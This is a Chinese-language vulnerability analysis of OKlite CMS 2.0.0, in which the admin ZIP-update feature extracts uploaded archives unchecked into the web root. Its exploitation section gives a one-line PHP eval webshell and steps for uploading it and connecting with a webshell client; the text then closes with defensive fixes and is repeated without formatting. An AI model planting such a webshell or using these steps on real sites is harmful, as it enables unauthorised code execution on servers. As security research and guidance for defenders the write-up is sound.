OKlite 2.0.0后台更新压缩包导致Getshell浅析
字数 1290 2025-08-20 18:17:31

OKlite 2.0.0后台压缩包更新漏洞分析与利用

漏洞概述

OKlite CMS 2.0.0版本管理后台存在一个通过压缩包更新功能导致的安全漏洞,攻击者可以通过构造恶意的压缩包文件上传到目标服务器,在服务器解压过程中实现任意文件写入,最终导致Getshell。

影响范围

  • 受影响版本:OKlite <= 2.0.0
  • 利用条件:需要拥有后台管理员权限

漏洞原理

OKlite后台更新功能允许管理员通过上传ZIP压缩包进行系统升级。系统在处理压缩包时存在以下安全问题:

  1. 解压过程未对压缩包内容进行安全检查
  2. 解压后的文件会直接写入网站根目录
  3. 未对文件类型进行限制

攻击者可构造包含恶意PHP文件的压缩包,上传后系统自动解压,导致任意代码执行。

漏洞分析

关键文件路径

  1. 更新页面视图文件:

    OKLite_2.0.0\framework\view\update_index.html
    
  2. 更新控制器文件:

    OKLite_2.0.0\framework\admin\update_control.php
    
  3. 表单处理库:

    OKLite_2.0.0\framework\libs\form.php
    
  4. ZIP更新视图文件:

    OKLite_2.0.0\framework\view\update_zip.html
    
  5. ZIP处理库:

    OKLite_2.0.0\framework\libs\phpzip.php
    

漏洞触发流程

  1. 后台访问更新功能页面(update_index.html)
  2. 选择"压缩包升级"选项,调用update_control.php中的zip()函数
  3. 系统显示ZIP上传表单(update_zip.html)
  4. 上传ZIP文件后,系统调用phpzip.php进行解压
  5. 解压过程中未对文件内容进行检查,直接解压到网站根目录
  6. 如果压缩包中包含PHP文件,则会被解压到可访问的web目录

漏洞利用

利用步骤

  1. 构造恶意压缩包

    • 创建一个包含PHP后门文件的ZIP压缩包,例如:
      shell.zip
      └── shell.php
      
    • shell.php内容可以是任意PHP代码,如:
      <?php @eval($_POST['cmd']);?>
      
  2. 登录后台

    • 获取管理员权限并登录系统后台
  3. 上传压缩包

    • 访问系统更新功能(通常路径如/admin.php?c=update)
    • 选择"压缩包升级"选项
    • 上传构造的shell.zip文件
  4. 执行升级

    • 点击"开始升级"按钮
    • 系统会自动解压ZIP文件到网站根目录
  5. 验证利用

    • 访问解压后的PHP文件(如http://target.com/shell.php)
    • 使用WebShell管理工具(如中国菜刀)连接

利用截图

  1. 构造的恶意压缩包结构:

    shell.zip
    └── shell.php
    
  2. 后台压缩包升级界面:

    • 选择"压缩包升级"
    • 上传shell.zip
  3. 升级完成后,网站根目录出现shell.php

  4. 使用WebShell工具连接成功

防御措施

  1. 输入验证

    • 对上传的压缩包内容进行严格检查
    • 禁止解压包含PHP等可执行文件
  2. 权限控制

    • 限制解压目录的写入权限
    • 使用临时目录进行解压操作
  3. 文件类型限制

    • 只允许特定的文件类型被解压
    • 对解压后的文件进行内容检查
  4. 代码修复

    • phpzip.php中添加安全检查逻辑
    • 实现白名单机制,只允许特定文件被处理
  5. 系统更新

    • 升级到最新版本,官方可能已修复此漏洞

总结

该漏洞展示了CMS系统中文件处理功能可能带来的安全风险。开发人员在实现类似功能时应注意:

  1. 所有用户输入(包括压缩包内容)都应视为不可信的
  2. 文件操作应限制在特定目录
  3. 实现严格的文件类型检查机制
  4. 最小权限原则应用于所有文件操作

安全审计时应特别关注文件上传、解压、备份恢复等功能点的安全性。

OKlite 2.0.0后台压缩包更新漏洞分析与利用 漏洞概述 OKlite CMS 2.0.0版本管理后台存在一个通过压缩包更新功能导致的安全漏洞,攻击者可以通过构造恶意的压缩包文件上传到目标服务器,在服务器解压过程中实现任意文件写入,最终导致Getshell。 影响范围 受影响版本:OKlite <= 2.0.0 利用条件:需要拥有后台管理员权限 漏洞原理 OKlite后台更新功能允许管理员通过上传ZIP压缩包进行系统升级。系统在处理压缩包时存在以下安全问题: 解压过程未对压缩包内容进行安全检查 解压后的文件会直接写入网站根目录 未对文件类型进行限制 攻击者可构造包含恶意PHP文件的压缩包,上传后系统自动解压,导致任意代码执行。 漏洞分析 关键文件路径 更新页面视图文件: 更新控制器文件: 表单处理库: ZIP更新视图文件: ZIP处理库: 漏洞触发流程 后台访问更新功能页面( update_index.html ) 选择"压缩包升级"选项,调用 update_control.php 中的 zip() 函数 系统显示ZIP上传表单( update_zip.html ) 上传ZIP文件后,系统调用 phpzip.php 进行解压 解压过程中未对文件内容进行检查,直接解压到网站根目录 如果压缩包中包含PHP文件,则会被解压到可访问的web目录 漏洞利用 利用步骤 构造恶意压缩包 : 创建一个包含PHP后门文件的ZIP压缩包,例如: shell.php 内容可以是任意PHP代码,如: 登录后台 : 获取管理员权限并登录系统后台 上传压缩包 : 访问系统更新功能(通常路径如 /admin.php?c=update ) 选择"压缩包升级"选项 上传构造的 shell.zip 文件 执行升级 : 点击"开始升级"按钮 系统会自动解压ZIP文件到网站根目录 验证利用 : 访问解压后的PHP文件(如 http://target.com/shell.php ) 使用WebShell管理工具(如中国菜刀)连接 利用截图 构造的恶意压缩包结构: 后台压缩包升级界面: 选择"压缩包升级" 上传 shell.zip 升级完成后,网站根目录出现 shell.php 使用WebShell工具连接成功 防御措施 输入验证 : 对上传的压缩包内容进行严格检查 禁止解压包含PHP等可执行文件 权限控制 : 限制解压目录的写入权限 使用临时目录进行解压操作 文件类型限制 : 只允许特定的文件类型被解压 对解压后的文件进行内容检查 代码修复 : 在 phpzip.php 中添加安全检查逻辑 实现白名单机制,只允许特定文件被处理 系统更新 : 升级到最新版本,官方可能已修复此漏洞 总结 该漏洞展示了CMS系统中文件处理功能可能带来的安全风险。开发人员在实现类似功能时应注意: 所有用户输入(包括压缩包内容)都应视为不可信的 文件操作应限制在特定目录 实现严格的文件类型检查机制 最小权限原则应用于所有文件操作 安全审计时应特别关注文件上传、解压、备份恢复等功能点的安全性。